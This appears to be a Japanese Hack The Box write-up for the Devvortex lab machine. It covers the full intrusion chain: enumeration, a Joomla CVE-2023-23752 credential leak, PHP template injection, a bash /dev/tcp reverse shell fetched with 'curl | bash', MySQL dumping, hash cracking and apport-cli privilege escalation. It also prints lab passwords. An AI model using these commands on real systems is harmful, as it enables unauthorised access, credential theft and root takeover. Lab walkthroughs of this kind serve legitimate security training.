0.はじめに
hacktheboxのDevvortex攻略方法です
知らないと気づけないという要素が少なくてサブドメイン検証、リバースシェルの起動方法、mysqlの調査、johnを使ったハッシュ値の解析など基本的要素が詰まった良い題材です
1.ポートスキャン
①開いてるポートの確認
nmap -sT 10.10.11.242
22と80ポートが空いてるのでより詳細な情報を次に収集します
②ポートの詳細を確認
nmap -sC -sV -sT -p 22,80 10.10.11.242
「http-title: Did not follow redirect to 〜」という情報があるのでまずはhostsにドメイン名を追加する方が良さそうです
2.webサイトの調査
①hostsファイルにドメイン名を追加
cd /etc/
sudo nano hosts
10.10.11.242 devvortex.htb
「1.ポートスキャン」の結果からdevvortex.htbをhostsに追加しました
これで問題無くWebサイトにアクセス出来るはずなので、ブラウザからアクセスしてみます
②webサイトにアクセス
http://10.10.11.242
先ほどhostsにdevvortex.htbを追加しているのでIPアドレスでアクセスしていますが上手くdevvortex.htbに遷移しています
特に怪しい情報もないのでディレクトリを調べてみます
③ディレクトリ調査
gobuster dir -u devvortex.htb -w /usr/share/wordlists/dirb/common.txt
IPで指定するとエラーになったのでドメイン名で指定すること
特に手掛かりになるものが無かったので、更にサブドメインも調査します
④サブドメイン調査
gobuster vhost -w /usr/share/wordlists/wfuzz/general/common.txt --append-domain -u http://devvortex.htb -t 5
・「subdomains-top1million-5000.txt」のリストで最初は調査しましたが検証出来なかったので「/usr/share/wordlists/wfuzz/general/common.txt」を使用してください
・「context deadline exceeded 」のエラーが発生した場合にはオプションで「-t 5」のようにする(デフォルトは10)
「@.devvortex.htb」と「dev.devvortex.htb」が検証されました
特に「dev.devvortex.htb」は名前から開発時の情報が残っている可能性があるのでこちらを調べてみます
④ー1hostsファイルにサブドメイン名を追加する
今回の場合には以下の値
cd /etc/
sudo nano hosts
10.10.11.242 dev.devvortex.htb
④ー2サブドメイン名でwebサイトにアクセス
http://dev.devvortex.htb
④ー3サブドメインに対してディレクトリ調査をする
gobuster dir -u dev.devvortex.htb -w /usr/share/wordlists/dirb/common.txt
(途中省略)
「administrator」があるのでこれに注目する
⑤検証した「administrator」のwebサイトにアクセス
http://dev.devvortex.htb/administrator/
Joomlaというコンテンツ管理システムが動いているのが確認出来る
⑥Joomlaのバージョン確認
http://dev.devvortex.htb/administrator/manifests/files/joomla.xml
Joomlaのバージョン情報は「administrator/manifests/files/joomla.xml」にある
4.2.6のバージョンであることがわかる
3.joomla 4.2.6の調査
①Webサイトでの調査
https://vulncheck.com/blog/joomla-for-rce
CVE-2023-23752の脆弱性があるらしい
②CVE-2023-23752の脆弱性を利用して認証情報を取得
curl http://dev.devvortex.htb/api/index.php/v1/config/application?public=true -vv
上記コマンドを実行することで認証情報を取得
user:lewis
password:P4ntherg0t1n5r3c0n##
③認証情報を利用してログイン
http://dev.devvortex.htb/administrator/
user:lewis
password:P4ntherg0t1n5r3c0n##
④コマンドを実行出来るかの確認
④ー1「System」に移動
④ー3「Cassiopeia Details and Files」をクリック
④ー5以下のコマンドを2行目に追加して「Save」をクリック
system("whoami");
④ー6以下のURLにアクセスしてwhoamiの結果が表示されれば成功
http://dev.devvortex.htb/templates/cassiopeia/error.php
4.リバースシェル
①攻撃端末で待ち受け状態にする
nc -lvnp 5600
②自端末のIPを取得
ifconfig
③リバース接続用のシェルを作成する
nano re.sh
bash -i >& /dev/tcp/10.10.16.11/5600 0>&1
④httpサーバを起動
python3 -m http.server 8000
⑤「error.php」に対して、以下のコマンドを2行目に追加して「Save」をクリック
system("curl 10.10.16.11:8000/re.sh|bash”);
⑥以下のURLにアクセス
http://dev.devvortex.htb/templates/cassiopeia/error.php
⑧このままでも操作可能だが以下を実行してから使う方が操作しやすい
script /dev/null -c bash
5.リバースシェル獲得後の調査
①開いているポートを確認
ss -tln
ss -tlr
②mysqlに既知のユーザ情報で接続してみる
mysql -u lewis -pP4ntherg0t1n5r3c0n##
「-p」オプションはスペースを開けない
6.mysqlの調査
show databases;
use joomla;
show tables;
select * from sd4fg_users;
SQLの実行結果からloganのハッシュ値を取得
(途中省略)
7.パスワードの解析
②johnを利用してハッシュ値を解析
john -w=/usr/share/wordlists/rockyou.txt hash.txt
8.sshで接続
①取得したパスワードでssh接続する
ssh logan@10.10.11.242
パスワード:tequieromucho
②userフラグの取得
cat user.txt
ssh接続後はloganのホームディレクトリにいるはずです
userフラグがあるので取得してください
9.権限昇格のための調査
①特権ユーザで実行できるコマンドの調査
sudo -l
パスワード:tequieromucho
②apport-cliのバージョンを確認
/usr/bin/apport-cli --version
③CVEを調査する
https://github.com/diego-tella/CVE-2023-1326-PoC
2.26.0以前で有効な権限昇格があるので利用する
10. root権限取得
①実行中のプロセス一覧を取得
ps -ux
②以下のコマンドを実行
sudo /usr/bin/apport-cli -f -P 1093
Y
Y
V
!/bin/bash
③rootフラグの取得
cat /root/root.txt
11.おわりに
始めての記事です
攻略時に残していた資料から作成しました